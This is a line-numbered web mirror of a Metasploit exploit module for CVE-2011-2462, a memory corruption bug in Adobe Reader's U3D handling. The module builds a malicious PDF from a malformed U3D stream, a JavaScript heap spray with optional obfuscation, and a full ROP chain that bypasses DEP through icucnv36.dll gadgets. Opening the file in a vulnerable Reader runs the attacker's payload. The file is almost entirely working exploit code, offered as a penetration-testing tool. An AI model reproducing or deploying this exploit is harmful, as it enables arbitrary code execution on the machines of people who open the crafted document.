Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = AverageRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',
18
'Description' => %q{
19
This module exploits a vulnerability in the U3D handling within
20
versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
21
The vulnerability is due to the use of uninitialized memory.
22
23
Arbitrary code execution is achieved by embedding specially crafted U3D
24
data into a PDF document. A heap spray via JavaScript is used in order to
25
ensure that the memory used by the invalid pointer issue is controlled.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Felipe Andres Manzano', # Original poc (@feliam)
30
'sinn3r',
31
'juan vazquez',
32
'jduck'
33
],
34
'References' => [
35
[ 'CVE', '2011-2462' ],
36
[ 'OSVDB', '77529' ],
37
[ 'BID', '50922' ],
38
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
39
[ 'URL', 'http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/' ],
40
[ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], # Original PoC
41
[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
42
],
43
'DefaultOptions' => {
44
'EXITFUNC' => 'process',
45
'DisablePayloadHandler' => true
46
},
47
'Payload' => {
48
'Space' => 1000,
49
'BadChars' => "\x00",
50
'DisableNops' => true
51
},
52
'Platform' => 'win',
53
'Targets' => [
54
[
55
# Adobe Reader 9.4.0 / XP SP3
56
# Adobe Reader 9.4.5 / XP SP3
57
# Adobe Reader 9.4.6 / XP SP3
58
'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
59
{
60
# gadget from icucnv36:
61
# mov ecx,dword ptr [eax+3Ch]
62
# mov eax,dword ptr [ecx]
63
# call dword ptr [eax+1Ch]
64
'Ret' => 0x4a8453c3
65
}
66
],
67
],
68
'DisclosureDate' => '2011-12-06', # Needs to be checked
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
78
register_options(
79
[
80
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
81
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
82
]
83
)
84
end
85
86
def junk(n = 1)
87
tmp = []
88
value = rand_text(4).unpack("L")[0].to_i
89
n.times { tmp << value }
90
return tmp
91
end
92
93
def exploit
94
# DEP bypass; uses icucnv36.dll
95
stack_data = [
96
junk,
97
0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
98
0x0c0c0c0c, # becomes esi
99
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
100
0x4a8a0000, # becomes edi
101
0x4a802196, # becomes esi
102
0x4a801f90, # becomes ebp
103
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
104
0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
105
junk(4),
106
0x00000000, # becomes edi
107
0x00000002, # becomes esi
108
0x00000102, # becomes ebp
109
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
110
junk(5),
111
0x4a80a8a6, # becomes edi
112
0x4a801f90, # becomes esi
113
0x4a849038, # becomes ebp
114
0x4a8063a5, # pop ecx / ret
115
junk(5),
116
0x4a8a0000, # becomes ecx
117
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
118
0x4a801f90, # pop eax / ret
119
0x4a84903c, # becomes eax (import for CreateFileA)
120
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
121
0x4a801064, # ret for CreateFileA # ret
122
0x00000000, # __in LPCTSTR lpFileName
123
0x10000000, # __in DWORD dwDesiredAccess
124
0x00000000, # __in DWORD dwShareMode
125
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes
126
0x00000002, # __in DWORD dwCreationDisposition
127
0x00000102, # __in DWORD dwFlagsAndAttributes
128
0x00000000, # __in_opt HANDLE hTemplateFile
129
0x4a8063a5, # pop ecx / ret
130
0x4a801064, # becomes ecx
131
0x4a842db2, # xchg eax, edi / ret
132
0x4a802ab1, # pop ebx / ret
133
0x00000008, # becomes ebx
134
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
135
0x4a801f90, # pop eax / ret
136
0x4a849038, # becomes eax (import for CreateFileA)
137
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
138
0x4a801064, # ret for CreateFileMappingA # ret
139
0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
140
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,
141
0x00000040, # __in DWORD flProtect,
142
0x00000000, # __in DWORD dwMaximumSizeHigh,
143
0x00010000, # __in DWORD dwMaximumSizeLow,
144
0x00000000, # __in_opt LPCTSTR lpName
145
0x4a8063a5, # pop ecx / ret
146
0x4a801064, # becomes ecx
147
0x4a842db2, # xchg eax, edi / ret
148
0x4a802ab1, # pop ebx / ret
149
0x00000008, # becomes ebx
150
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
151
0x4a801f90, # pop eax / ret
152
0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
153
0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
154
0x4a801064, # ret for MapViewOfFile # ret
155
0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
156
0x00000022, # __in DWORD dwDesiredAccess
157
0x00000000, # __in DWORD dwFileOffsetHigh
158
0x00000000, # __in DWORD dwFileOffsetLow
159
0x00010000, # __in SIZE_T dwNumberOfBytesToMap
160
0x4a8063a5, # pop ecx / ret
161
0x4a8a0004, # becomes ecx
162
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
163
0x4a8063a5, # pop ecx / ret
164
0x4a801064, # becomes ecx
165
0x4a842db2, # xchg eax, edi / ret
166
0x4a802ab1, # pop ebx / ret
167
0x00000030, # becomes ebx
168
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
169
0x4a801f90, # pop eax / ret
170
0x4a8a0004, # becomes eax {Result of MapViewOfFile}
171
0x4a80a7d8, # mov eax,dword ptr [eax] / ret
172
0x4a8063a5, # pop ecx / ret
173
0x4a801064, # becomes ecx
174
0x4a842db2, # xchg eax, edi / ret
175
0x4a802ab1, # pop ebx / ret
176
0x00000020, # becomes ebx
177
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
178
0x4a8063a5, # pop ecx / ret
179
0x4a801064, # becomes ecx
180
0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
181
0x4a801f90, # pop eax / ret
182
0x00000034, # becomes eax # mapped at 0c0c0d8c
183
0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
184
0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
185
0x4a801064, # becomes ecx
186
0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
187
0x4a802ab1, # pop ebx / ret
188
0x0000000a, # becomes ebx
189
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
190
0x4a801f90, # pop eax / ret
191
0x4a849170, # becomes eax (import for MSVCR80!memcpy)
192
0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
193
0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
194
0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
195
0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
196
0x00001000 # length (memcpy param)
197
].flatten.pack('V*')
198
199
payload_buf = ''
200
payload_buf << stack_data
201
payload_buf << payload.encoded
202
escaped_payload = Rex::Text.to_unescape(payload_buf)
203
204
eip_ptr =
205
[
206
junk(3),
207
target.ret, # EIP
208
junk(7),
209
0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
210
junk(16),
211
].flatten.pack('V*')
212
213
escaped_eip = Rex::Text.to_unescape(eip_ptr)
214
215
js = <<-JS
216
217
var padding;
218
var bbb, ccc, ddd, eee, fff, ggg, hhh;
219
var pointers_a, i;
220
var x = new Array();
221
var y = new Array();
222
223
function alloc(bytes) {
224
return padding.substr(0, (bytes - 6) / 2);
225
}
226
227
function spray_eip(esc_a) {
228
pointers_a = unescape(esc_a);
229
for (i = 0; i < 2000; i++) {
230
x[i] = alloc(0x8) + pointers_a;
231
y[i] = alloc(0x88) + pointers_a;
232
y[i] = alloc(0x88) + pointers_a;
233
y[i] = alloc(0x88) + pointers_a;
234
}
235
};
236
237
function spray_shellcode() {
238
bbb = unescape('#{escaped_payload}');
239
ccc = unescape("%u0c0c");
240
ccc += ccc;
241
242
while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
243
244
i1 = 0x0c0c - 0x24;
245
ddd = ccc.substring(0, i1 / 2);
246
247
ddd += bbb;
248
ddd += ccc;
249
250
i2 = 0x4000 + 0xc000;
251
eee = ddd.substring(0, i2 / 2);
252
253
for (; eee.length < 0x40000 + 0x40000;) eee += eee;
254
255
i3 = (0x1020 - 0x08) / 2;
256
fff = eee.substring(0, 0x80000 - i3);
257
258
ggg = new Array();
259
260
for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
261
}
262
263
padding = unescape("#{escaped_eip}");
264
while (padding.length < 0x10000)
265
padding = padding + padding;
266
267
spray_shellcode();
268
spray_eip('%u4141');
269
270
this.pageNum = 2;
271
JS
272
273
js = js.gsub(/^ {4}/, '')
274
275
if datastore['OBFUSCATE']
276
js = ::Rex::Exploitation::JSObfu.new(js)
277
js.obfuscate
278
end
279
280
u3d = make_u3d_stream
281
xml = make_xml_data
282
pdf = make_pdf(u3d, xml, js.to_s)
283
print_status("Creating '#{datastore['FILENAME']}' file...")
284
file_create(pdf)
285
end
286
287
def make_xml_data
288
xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
289
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
290
<ed>kapa</ed>
291
<config xmclns="http://www.microsoft.org/schema/xci/2.6/">
292
<present>
293
<pdf>
294
<version>1</version>
295
<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
296
<interactive>1</interactive>
297
</pdf>
298
</present>
299
</config>
300
<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
301
<subform name="form1" layout="tb" locale="en_US">
302
<pageSet>
303
</pageSet>
304
</subform>
305
</template>
306
<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
307
<subform name="form1" layout="tb" locale="en_US">
308
<pageSet>
309
</pageSet>
310
</subform>
311
</template1>
312
<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
313
<subform name="form1" layout="tb" locale="en_US">
314
<pageSet>
315
</pageSet>
316
</subform>
317
</template2>
318
</xdp:xdp>|
319
320
xml = xml.gsub(/^ {4}/, '')
321
return xml
322
end
323
324
def u3d_pad(str, char = "\x00")
325
len = str.length % 4
326
if (len > 0)
327
# puts "Adding %d pad bytes" % (4 - len)
328
return (char * (4 - len))
329
end
330
331
""
332
end
333
334
def u3d_string(str)
335
([str.length].pack('v') + str)
336
end
337
338
def make_u3d_stream()
339
#
340
# REFERENCE:
341
# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
342
# The File format consists of these blocks:
343
# [File Header Block][Declaration Block][Continuation Block]
344
# Each block consists of (padding is used to keep fields 32-bit aligned):
345
# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
346
#
347
mc_name = u3d_string("CCCCBox01")
348
mr_name = u3d_string("Box01RX")
349
350
# build the U3D header (length will be patched in later)
351
hdr_data = [0, 0].pack('n*') # version info
352
hdr_data << [0, 0x24, 0xa34, 0, 0x6a].pack('VVVVV') # 31337 was 0xa34
353
354
hdr = "U3D\x00"
355
hdr << [hdr_data.length, 0].pack('VV')
356
hdr << hdr_data
357
358
parent_node_data =
359
"\x01\x00\x00\x00"+ # node count (1)
360
"\x00\x00"+ # name (empty)
361
# transform matrix
362
[0x813f, 0, 0, 0, 0, 0x813f, 0, 0, 0, 0, 0x813f, 0, 0x548a55c0, 0xa2027cc2, 0, 0x813f].pack('N*')
363
364
model_node_data = ""
365
model_node_data << mc_name
366
model_node_data << parent_node_data
367
model_node_data << mr_name
368
model_node_data << [1].pack('V') # Model Visibility (Front visible)
369
model_node = [0xffffff22, model_node_data.length, 0].pack('VVV')
370
# model_node = [0xffffff22,0x5e,0].pack('VVV')
371
model_node << model_node_data
372
373
bone_weight_data = ""
374
bone_weight_data << mc_name
375
bone_weight_data << [
376
1, # Chain index
377
1, # Bone Weight Attributes (for a mesh)
378
0x3162123b, # Inverse Quant
379
0x14, # Position Count
380
].pack('VVNV')
381
# Position List
382
bone_weight_data << [
383
# 1
384
1, # Bone Weight Count
385
3, # Bone Index (no Quantized Weight)
386
# 2
387
0x55550000, # Bone Weight Count
388
0x4c1df36e, # Bone Index
389
0x0200d002, # Quantized Weight
390
# 3
391
0x95000074, # Bone Weight Count
392
0x66ccc357, # Bone Index
393
0x00000000 # Quantized Weight
394
].pack('VVNNNNNN')
395
bone_weight = [0xffffff44, 0x3a, 0].pack('VVV')
396
# We hardcode the length to match the old file.. (TODO: test if necessary)
397
# bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
398
bone_weight << bone_weight_data
399
400
new_objtype1_data =
401
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a" +
402
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00" +
403
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
404
# new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
405
new_objtype1 = [0xffffff16, new_objtype1_data.length, 0].pack('VVV')
406
new_objtype1 << new_objtype1_data
407
408
shading_modifier_data = ""
409
shading_modifier_data << mc_name
410
shading_modifier_data <<
411
"\x02\x00\x00\x00\x00\x00\x00\x00\x01" +
412
"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
413
# shading_modifier = [0xffffff45,0x23,0].pack('VVV')
414
shading_modifier = [0xffffff45, shading_modifier_data.length, 0].pack('VVV')
415
shading_modifier << shading_modifier_data
416
417
new_objtype2_data =
418
"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2" +
419
"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00" +
420
"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
421
# new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
422
new_objtype2 = [0xffffff16, new_objtype2_data.length, 0].pack('VVV')
423
new_objtype2 << new_objtype2_data
424
425
nodemod_decl = ""
426
nodemod_decl << model_node
427
nodemod_decl << u3d_pad(nodemod_decl)
428
nodemod_decl << bone_weight
429
nodemod_decl << u3d_pad(nodemod_decl)
430
nodemod_decl << new_objtype1
431
nodemod_decl << u3d_pad(nodemod_decl)
432
nodemod_decl << shading_modifier
433
nodemod_decl << u3d_pad(nodemod_decl)
434
nodemod_decl << new_objtype2
435
nodemod_decl << u3d_pad(nodemod_decl)
436
437
nodemod_decl <<
438
# another modifier chain?
439
"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00" +
440
"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00" +
441
"\x00\x00" +
442
# clod mesh generator (declaration)
443
"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52" +
444
"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00" +
445
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
446
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c" +
447
"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d" +
448
"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61" +
449
"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
450
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
451
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
452
"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00" +
453
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
454
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
455
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75" +
456
"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00" +
457
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
458
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06" +
459
"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00" +
460
"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
461
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
462
"\x00\x00\x00\x00\x00\x00\x00\x00" +
463
# clod mesh generator (progressive mesh cont)
464
"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00" +
465
"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00" +
466
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01" +
467
"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02" +
468
"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00" +
469
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1" +
470
"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c" +
471
"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80" +
472
"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06" +
473
"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80" +
474
"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0" +
475
"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62" +
476
"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe" +
477
"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79" +
478
"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1" +
479
"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e" +
480
"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3" +
481
"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"
482
483
# build the modifier chain
484
chain_data = ""
485
chain_data << mc_name
486
chain_data << [0].pack('V') # type (node modifier)
487
chain_data << [0].pack('V') # attributes (no bounding info)
488
chain_data << u3d_pad(chain_data)
489
chain_data << [0x5].pack('V') # number of modifiers
490
chain_data << nodemod_decl
491
# modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
492
modifier_chain = [0xffffff14, 0x17c, 0].pack('VVV')
493
modifier_chain << chain_data
494
495
data = ""
496
data << hdr
497
data << modifier_chain
498
499
data
500
end
501
502
def random_non_ascii_string(count)
503
result = ""
504
count.times do
505
result << (rand(128) + 128).chr
506
end
507
result
508
end
509
510
def io_def(id)
511
"%d 0 obj\n" % id
512
end
513
514
def io_ref(id)
515
"%d 0 R" % id
516
end
517
518
def ascii_hex_whitespace_encode(str)
519
result = ""
520
whitespace = ""
521
str.each_byte do |b|
522
result << whitespace << "%02x" % b
523
whitespace = " " * (rand(3) + 1)
524
end
525
result << ">"
526
end
527
528
def make_pdf(u3d_stream, xml, js_doc)
529
xref = []
530
eol = "\x0a"
531
obj_end = "" << eol << "endobj" << eol
532
533
# the header
534
pdf = "%PDF-1.7" << eol
535
536
# filename/comment
537
pdf << "%" << random_non_ascii_string(4) << eol
538
539
email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
540
site = rand_text_alpha(5) + ".com"
541
xref << pdf.length
542
pdf << io_def(1)
543
pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
544
pdf << obj_end
545
546
compressed_xml = Zlib::Deflate.deflate(xml)
547
xref << pdf.length
548
pdf << io_def(2)
549
pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
550
pdf << "stream" << eol
551
pdf << compressed_xml << eol
552
pdf << "endstream"
553
pdf << obj_end
554
555
xref << pdf.length
556
pdf << io_def(3)
557
pdf << "<</XFA " << io_ref(2) << ">>"
558
pdf << obj_end
559
560
xref << pdf.length
561
pdf << io_def(4)
562
pdf << "<</Type/Catalog/Outlines " << io_ref(5)
563
pdf << " /Pages " << io_ref(6)
564
pdf << " /OpenAction " << io_ref(14)
565
pdf << " /AcroForm " << io_ref(3)
566
pdf << ">>"
567
pdf << obj_end
568
569
xref << pdf.length
570
pdf << io_def(5) << "<</Type/Outlines/Count 0>>"
571
pdf << obj_end
572
573
xref << pdf.length
574
pdf << io_def(6)
575
pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]
576
pdf << obj_end
577
578
data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
579
compressed_data = Zlib::Deflate.deflate(data)
580
xref << pdf.length
581
pdf << io_def(7)
582
pdf << "<</Length %s /Filter /FlateDecode>>" % compressed_data.length.to_s << eol
583
pdf << "stream" << eol
584
pdf << compressed_data << eol
585
pdf << "endstream"
586
pdf << obj_end
587
588
xref << pdf.length
589
pdf << io_def(8)
590
pdf << "<</ProcSet [/PDF]>>"
591
pdf << obj_end
592
593
xref << pdf.length
594
pdf << io_def(9)
595
pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
596
pdf << obj_end
597
598
compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
599
xref << pdf.length
600
pdf << io_def(10)
601
pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" % compressed_u3d.length.to_s << eol
602
pdf << "stream" << eol
603
pdf << compressed_u3d << eol
604
pdf << "endstream"
605
pdf << obj_end
606
607
xref << pdf.length
608
pdf << io_def(11)
609
pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
610
pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" % io_ref(10)
611
pdf << obj_end
612
613
xref << pdf.length
614
pdf << io_def(12)
615
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]
616
pdf << obj_end
617
618
xref << pdf.length
619
pdf << io_def(13)
620
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
621
pdf << obj_end
622
623
xref << pdf.length
624
pdf << io_def(14)
625
pdf << "<</S/JavaScript/JS %s>>" % io_ref(15)
626
pdf << obj_end
627
628
compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
629
xref << pdf.length
630
pdf << io_def(15)
631
pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
632
pdf << "stream" << eol
633
pdf << compressed_js << eol
634
pdf << "endstream"
635
pdf << obj_end
636
637
# xrefs
638
xrefPosition = pdf.length
639
pdf << "xref" << eol
640
pdf << "0 %d" % (xref.length + 1) << eol
641
pdf << "0000000000 65535 f" << eol
642
xref.each do |index|
643
pdf << "%010d 00000 n" % index << eol
644
end
645
646
# trailer
647
pdf << "trailer" << eol
648
pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol
649
pdf << "startxref" << eol
650
pdf << xrefPosition.to_s() << eol
651
pdf << "%%EOF" << eol
652
end
653
end
654
655